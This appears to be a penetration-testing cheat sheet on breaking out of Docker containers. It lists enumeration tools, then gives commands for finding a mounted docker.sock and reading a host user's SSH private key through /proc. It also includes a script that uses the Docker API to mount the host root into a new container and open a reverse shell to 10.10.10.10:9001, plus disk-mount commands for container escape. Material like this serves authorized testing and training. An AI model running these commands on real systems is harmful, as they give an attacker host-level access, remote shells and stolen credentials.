> For the complete documentation index, see [llms.txt](https://docs.qu35t.pw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qu35t.pw/docker-breakout.md).

# Docker Breakout

## Enumeration Scripts

* [Deepce](https://github.com/stealthcopter/deepce)
* [Grype](https://github.com/anchore/grype)
* [CDK](https://github.com/cdk-team/CDK#installationdelivery)
* [Amicontained](https://github.com/genuinetools/amicontained)

## Process Abuse

{% tabs %}
{% tab title="List Processes" %}

```bash
ps -ef --forest
```

{% endtab %}

{% tab title="Host Relative Path" %}

```bash
ls -la /proc/<PID>/root/home/qu35t/.ssh/id_rsa
```

{% endtab %}
{% endtabs %}

## Mounted docker socket

{% tabs %}
{% tab title="Search the socket" %}

```bash
find / -name docker.sock 2>/dev/null
```

{% endtab %}

{% tab title="Get available images" %}

```bash
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
```

{% endtab %}

{% tab title="Create a container" %}

```bash
#!/bin/bash

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.10.10/9001 0<&1'\\\"\"]"

curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=qu35t

curl -s -X POST --unix-socket /var/run/docker.sock "http://localhost/containers/qu35t/start"
```

{% endtab %}
{% endtabs %}

## Container Capabilities

{% tabs %}
{% tab title="List capabilities" %}

```bash
capsh --print
```

{% endtab %}

{% tab title="Mount disk" %}

```bash
fdisk -l
mkdir /mnt/qu35t
mount /dev/sda1 /mnt/qu35t
ls -la /mnt/qu35t/
```

{% endtab %}
{% endtabs %}